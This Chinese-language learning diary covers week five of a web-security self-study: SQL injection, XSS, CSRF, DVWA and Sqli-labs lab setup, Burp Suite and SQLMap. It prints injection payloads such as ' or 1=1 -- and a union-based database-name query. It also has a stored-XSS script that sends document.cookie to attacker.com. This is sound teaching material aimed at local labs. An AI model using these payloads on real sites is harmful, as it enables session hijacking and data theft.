1. 第五周学习路线与阶段定位
1.1 为什么第五周是一个关键分水岭
网安学习最劝退的不是起步，而是中间那一段“什么都听过，但什么都做不出来”的瓶颈期。第五周恰好卡在这个位置：TCP/IP、Linux基础、前端三件套这些前期课程刚讲完，OWASP Top 10还没完全吃透，脑子里塞满了知识点，但打开浏览器对着一个网站却不知道从哪里下手。
我这周给自己定的目标很简单——不再追求“看完了多少节课”，而是强制自己动手。说白了，前面四周看过的协议、报文、中间人攻击原理，到了第五周如果不落地成一次完整的攻击复现，它们就只是考试填空题。网安这东西，眼睛会了和手会了是两回事。
如果你是零基础自学，给个参考节奏：第一周搞清楚网络分层和抓包工具，第二周过一遍Linux常用命令和权限模型，第三、四周集中看HTTP协议和Web应用工作原理，到第五周开始碰漏洞原理，这个进度不算慢。慢一点没关系，关键是每一步都要能自己复述出来。
1.2 本周学习的整体框架
这周我给自己安排了三块内容，每块都有明确的输入和输出：
- 漏洞原理学习：SQL注入、XSS、CSRF、文件上传，每看完一个原理必须手写一遍Payload，并解释它为什么能成功。
- 靶场实操：用DVWA和Sqli-labs做本地实验，记录每次请求的完整流程、参数变化和响应差异。
- 工具链整理：Burp Suite从代理设置到Intruder爆破的完整操作路径，以及SQLMap的常用参数清单。
先说结论：这周最大的收获不是我“打穿”了多少个靶场关卡，而是终于把“漏洞怎么产生”和“漏洞怎么利用”这两件事在脑子里连成了一条线。HTTP请求是漏洞的载体，参数是攻击面，服务端没有正确校验就是根源——这三个要素理解了，后面所有漏洞类型都只是换汤不换药。
2. 核心攻击面：从HTTP请求到注入的产生
2.1 一次HTTP请求里到底藏了什么
以前看HTTP协议总觉得抽象，直到这周用Burp Suite拦截器真真切切看到一次完整的请求，才意识到攻击面全在这些字段里。一个典型的GET请求大概长这样：
GET /index.php?id=1 HTTP/1.1 Host: 192.168.1.101 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept: text/html,application/xhtml+xml Cookie: PHPSESSID=abc123def456Web应用对请求的处理流程，其实就是拿这些字段去查数据库、做逻辑判断、拼页面。问题恰恰出在“拼”这个动作上。开发者为了省事，经常直接把参数值拼进SQL语句或者HTML模板里，结果用户输入就不再只是“数据”，而是变成了“代码”。
举个生活化的例子：你去食堂打饭，正常流程是告诉阿姨“我要一份番茄炒蛋”，阿姨给你打。但如果窗口上贴着一张纸条写着“不管谁说什么，你都说好”，这时候有人说“我要番茄炒蛋，再给我一百块钱”，阿姨也答应了——漏洞就是这么产生的。用户输入被当成了可执行指令，服多器没做区分。
2.2 SQL注入的成因与三类基本形态
SQL注入是Web安全永恒的话题，原因很简单：数据库太核心了，而且SQL拼接太容易出错了。第五周我把注入分成了三类去记忆，这样比零散看文章效率高得多：
- 字符型注入：参数值被单引号包裹，Payload需要闭合引号，经典的
' or 1=1 --就是干这个用的。 - 数字型注入：参数直接拼入NUMERIC条件，不涉及引号闭合，
1 or 1=1直接有效。 - 搜索型注入：常见于搜索功能，%通配符和引号的组合，利用方式类似字符型但需要额外处理特殊字符。
以DVWA的低安全等级为例，源码里对用户输入的id参数没有任何过滤：
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";这时候在输入框提交1' or '1'='1，拼出来的SQL就变成了：
SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'条件恒真，返回全部用户数据。这就明白“注入”二字的真正含义了：你输入的字符串“注入”到了SQL语句的执行逻辑里，改变了查询条件。
2.3 为什么需要理解原理而不是只会复制Payload
网上很容易搜到现成的Payload合集，但第五周我对自己有个要求：每个Payload必须解释清楚“它为什么长这样”。比如1' or '1'='1这个经典Payload，拆开来看就是三步：
1'闭合服务端已有的第一个单引号，让用户输入提前“结束”字符串。or '1'='1构造一个恒真条件，让原查询的判断失效。--注释掉SQL语句后面剩余部分，防止多出来的引号或条件导致报错。
会拼装只是及格线，能解释每一步对应了服务端源码里的哪个拼接位置，才算真的吃透了。后面我分析SQLMap的报错信息时，这种理解帮了大忙。
3. XSS跨站脚本与前端信任边界
3.1 反射型、存储型、DOM型的核心区别
很多初学者（包括我前几周）看到XSS的分类就头大，其实抓核心就一句话：看恶意脚本在什么地方“住”过。反射型XSS，脚本只在URL参数里“路过”，服务端没有保存，只存在这一次响应中；存储型XSS，脚本被存到了数据库里，所有访问这个页面的用户都会中招；DOM型XSS，脚本根本没经过服务端，纯前端JavaScript读URL参数然后写进页面时触发的。
第五周学习建议先把反射型和存储型搞透，DOM型可以往后放放，因为它的检测思路和前两者差别很大。反射型XSS的验证方法基本是一条测试链路：
<script>alert('xss')</script>为什么都要用alert这个弹窗做验证？不是为了炫技，而是因为alert是JavaScript里执行效果最直观、能被肉眼确认的函数。弹窗出来，说明脚本已经执行了，XSS存在。后续可以把这个alert替换成窃取Cookie的代码、钓鱼表单或者键盘记录器，原理都一样，检验是否存在XSS时用弹窗最稳妥。
3.2 存储型XSS的危害链路
存储型XSS比反射型可怕得多，因为它影响的是所有访问页面的用户，而不仅仅是点击了恶意链接的受害者。用一个简单的评论功能举例，如果后端对评论内容不做HTML转义，攻击者发一条带脚本的评论：
<script> fetch('http://attacker.com/steal?cookie=' + document.cookie); </script>这条评论被保存后，每个打开评论区的用户都会触发这个脚本，Cookie被发送到攻击者服务器上。攻击者拿到Cookie之后，如果Web应用没有做额外的安全校验（比如IP绑定、二次验证），就能直接假冒受害者的会话登录。
第五周我在DVWA的存储型XSS关卡里完整走了一遍这条链路，虽然靶场是本地环境，但当我看到“受害者的Cookie出现在了我开的监听服务器记录里”那一瞬间，才真正理解了为什么XSS长期霸榜OWASP Top 10——它的利用门槛低，但后果严重程度可以非常可怕。
3.3 防御思路：为什么转义不是万能药
XSS的防御核心是“上下文感知编码”，在不同位置（HTML标签内、属性内、JavaScript代码内）使用不同的转义策略。但第五周我学到一个更重要的认知：不要只依赖输出编码，输入校验同样重要。比如富文本编辑场景，允许用户提交HTML内容是刚需，这时候纯靠转义会把合法功能干掉，就需要引入白名单过滤。
对我这种刚上手的人来说，先记住两条基线：
- 所有输出到HTML上下文的数据，默认做HTML实体转义。
- 所有富文本场景，必须用成熟的白名单库（比如DOMPurify），不要自己写正则过滤，因为正则很难覆盖所有编码变体。
这周我踩过一个坑，自己写了一段过滤<script>的正则，结果用%3Cscript%3E（URL编码）绕过了。这种“黑名单对抗”是无穷无尽的，学XSS防御的第一课就是要接受“黑名单永远不完整”这个事实。
4. 靶场实操录：从DVWA到Sqli-labs
4.1 靶场搭建要点与踩坑记录
DVWA（Damn Vulnerable Web Application）和Sqli-labs是Web安全入门绕不开的两套靶场。我用的环境是VirtualBox里装Ubuntu 22.04 Server，然后在上面部署Docker，用docker跑靶场镜像。先说说这个选择的原因：
- 虚拟机做快照方便，靶场打挂了随时回滚，不像完全基于云主机还要担心污染环境。
- Docker部署靶场比直接装源码快太多，而且镜像版本可控。
- 靶场只监听本地虚拟机的80端口，默认不暴露到外部网络，安全性更可控。
实际部署有几个坑值得记一下。第一个是DVWA的PHP版本兼容问题，新版DVWA对PHP 7.4+支持得比较好，但如果用老版本镜像搭配过新的PHP，会报一堆deprecation warning甚至直接白屏。我在docker上直接用官方镜像就省掉了这个问题，但如果你是自己搭LAMP环境，建议先查一下软件版本兼容列表。第二个坑是DVWA首次安装页面卡住，常见原因是MySQL端口冲突，容器内使用的3306和宿主机已有的MySQL服务冲突。用docker跑的话，记得宿主机的MySQL要停掉，或者改端口映射：
docker run -d -p 8080:80 -p 33060:3306 --name dvwa vulnerables/web-dvwa这样宿主机用8080访问前台，数据库端口映射到33060，避免冲突。
4.2 SQL注入完整实验记录
我在Sqli-labs的第一关做了一次完整的注入测试，这关是典型的单引号字符型报错注入。用浏览器访问http://127.0.0.1:8080/Less-1/?id=1，页面正常显示用户名和密码。接着把参数改成?id=1'，页面报出MySQL语法错误，错误信息里直接暴露了查询语句：
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1这个报错信息价值极高，第一，它确认了存在SQL注入；第二，它暴露了SQL语句的拼接位置和引号结构；第三，它还告诉了我们后端用的是MySQL数据库。后续利用的方向就清晰了：
?id=1' order by 3 --通过order by不断调整列数，直到报错，就能判断出原查询的字段数量。试到order by 4时页面报错，说明查询只有3列。再构造union select 1,2,3 --，看到页面把2和3的值展示在了页面内容里，就找到了回显位。接下来用database()函数就能拿到当前数据库名：
?id=-1' union select 1,database(),3 --整个实验做下来，我对“报错信息是注入利用的指南针”这句话有了直观的感受。现实中很多生产环境会关闭错误回显，但靶场里保留完整的报错信息，就是为了让初学者看清楚每一步发生了什么。在靶场里把有回显的注入吃透，后面遇到盲注和报错注入时，你才会知道SQLMap在做什么。
4.3 Burp Suite的完整操作链路
Burp Suite社区版是Web安全测试的标配工具。这周我把它的核心功能过了一遍，发现很多教程把代理设置讲得太复杂，实际就三步：
- 步骤一：配置浏览器代理，指向127.0.0.1:8080。
- 步骤二：访问 http://burp 下载安装CA证书，让Burp能解密HTTPS流量。
- 步骤三：在Proxy标签页的Intercept开关里控制流量是否暂停。
如果配置完代理后浏览器打不开网页，关掉系统代理；如果安装证书后HTTPS页面仍然报错，检查证书是否装进了“受信任的根证书颁发机构”而不是“个人”证书存储区。这两个问题我第五周都遇到过，排查方式就是回退配置 + 看Burp日志，不要一上来就重装。
5. 工具选型：从SQLMap到Burp Suite的取舍心得
5.1 SQLMap自动化和手注怎么选
SQLMap是SQL注入自动化检测的标杆工具。对初学者来说，它的核心价值不是“一键爆破”，而是输出信息的规范性。第五周我用它跑了一个靶场关卡：
sqlmap -u "http://127.0.0.1:8080/Less-1/?id=1" --batch --dbs--batch让工具自动选择默认选项，--dbs枚举所有数据库。工具跑完后，不仅给出了存在注入的结论，还列出了注入参数、注入类型、数据库版本。把这些输出和手工注入的过程对照着看，能极大加深对注入原理的理解。
但有个很重要的提醒：SQLMap不是万能的。复杂的盲注场景、WAF拦截场景、或者业务参数和数据库交互http请求不是简单的GET参数拼接场景，自动化工具很容易漏报或误报。工具能帮你省时间，但替代不了你的判断。第五周的感受是：上课学手注是为了懂原理，实操中用工具是为了提效率，两者不可偏废。
5.2 Burp Suite高频功能盘点
第五周我用Burp Suite比较多的是以下五个功能：
- Proxy：拦截、修改、重放HTTP请求，理解前后端交互。
- Repeater：手动修改请求包后反复发送，观察响应差异，是手工测试漏洞的主战场。
- Intruder：自动化枚举和爆破，社区版速度有限制，但学习原理够用。
- Decoder：各种编码解码转换，处理URL编码、Base64时方便。
- Comparer：对比两个响应包，找差异点，常用于判断注入是否影响响应结果。
Burp Suite这工具的上手门槛不在软件本身，而在于你要有清晰的测试思路。先拦截请求，看参数POST提交了什么；然后重新构造请求包，观察响应变化；最后放大变化看是否有安全隐患。软件只是放大你思路的工具，没有思路的人拿着Burp也不会用。
6. 第五周常见问题与排查心得
6.1 问题速查表
- 浏览器无法访问DVWA页面：先确认容器状态
docker ps，再看端口映射是否正常，最后检查Linux防火墙有没有放行端口。 - Burp拦截到HTTPS流量但显示乱码或无法解密：确认CA证书已安装，并且浏览器代理和系统代理没有冲突。证书安装到“受信任的根证书颁发机构”后重启浏览器。
- SQLMap一直显示“connection timed out”：靶场地址是否正确、靶场服务是否存活、网络是否通。先用curl测试网络连通性，SQLMap不会告诉你网络不通，它只会报超时。
- 手工注入时页面没有任何变化：考虑是不是参数类型不对，试试POST提交数据而不是GET。很多关卡用的是POST表单提交，改URL参数当然不管用。
6.2 一个印象深刻的翻车现场
第五周做CSRF实验时，我给自己挖了一个坑。当时在DVWA中等级别关卡做绕过验证，需要修改请求包的Referer字段。我一开始在Burp的Proxy里改了请求包，发现实验一直不成功，后来排查发现是因为我直接改的是HTTP历史记录里的请求，并没有控制浏览器实际发出的流量。改包要在拦截开启的状态下修改，并且要把修改后的请求转发出去，不是改了历史记录就行。这个问题虽然低级，但很有代表性，很多初学者在Burp上折腾半天其实就是卡在操作流程上，而不是原理上。
排查这类问题的方法很简单：回到浏览器的实际行为，观察这次请求是否真的按预期发出来了，然后确认Burp是否拦截住了这次请求。先确认流量走到了哪一步，再怀疑配置问题，比盲目重装工具高效得多。
6.3 信息收集不完整导致的“假漏洞”
第五周还意识到一个问题：有时候你觉得找到了漏洞，其实只是“看起来像漏洞”。比如我在一个靶场页面发现参数可控，页面响应也随参数变化，马上就兴奋地往SQL注入方向尝试，折腾半天没结果。冷静下来用Burp的Decoder看了一遍请求，发现参数传的是JSON格式，后端把输入反序列化后做了字符串处理，根本不会拼进SQL语句。
这个案例给我的教训是：动手测之前先花三分钟把请求包看完整，看清楚参数类型、请求方式、Content-Type，想想服务端可能怎么处理这一段输入。信息收集不完整，攻击路径就是盲人摸象。很多攻击测试没结果，不是漏洞不存在，而是你连入口都没找对。
7. 后续学习规划与实用建议
7.1 第六周和第七周的安排
第五周主攻Web漏洞核心原理，第六周我准备进入“组合拳”阶段：一边补上文件上传漏洞、命令注入、越权访问这些还没覆盖的攻击面，另一边开始接触WAF绕过思路——注意是“思路”，不是具体工具，因为WAF产品太多了，绕过核心是编码变换和请求拆分，这个思维通了，换什么WAF都能用同一套逻辑去分析。
第七周的计划是复盘前六周内容，做一次完整的靶场渗透测试演练，从信息收集开始，到漏洞发现、利用、提权、权限维持，走一遍标准流程。到时候会整理一篇完整的演练笔记，里面会用到的知识点全都在前六周学过，重点考察的是串联能力。
7.2 给同期自学者的一些建议
第五周学到的最重要的一句话：不要跟别人比进度，要跟自己比产出。我见过一周刷完三套课的“快进型”选手，到头来让他自己搭一个靶场都磕磕绊绊。也见过一个SQL注入实验做三天的“慢热型”朋友，但他对每个细节的理解深度远超别人。网安这行，经验壁垒是实打实的，早一年入行不如多十个有效实验。
学习笔记一定要记录，不用写得多规整，但必须记录你踩过的坑和当时的理解。第五周的笔记我回头翻过，好多次现在的顿悟其实是对应了笔记里某个当时的困惑。当时写下来的困惑，过几周再看，等于在跟过去的自己对话，这种复盘的价值绝对值得每天花十五分钟。
7.3 关于合法边界的提醒
最后想多说几句，玩靶场和打真实目标之间有一条不能逾越的红线。所有未授权测试都是违法行为，不管出发点是什么。靶场存在的意义就是让你在合法范围内练手，DVWA、Sqli-labs、HackTheBox、Bugku这类平台都是很好的选择。学会用什么工具只是术的层面，知道什么能做、什么不能做才是道的层面。网安从业者的专业能力包含对边界的判断，一个分不清授权范围的人，技术越好，风险越大。第五周的实验内容全部在本地虚拟机完成，请你也一样，把一切练习放在授权环境中进行。
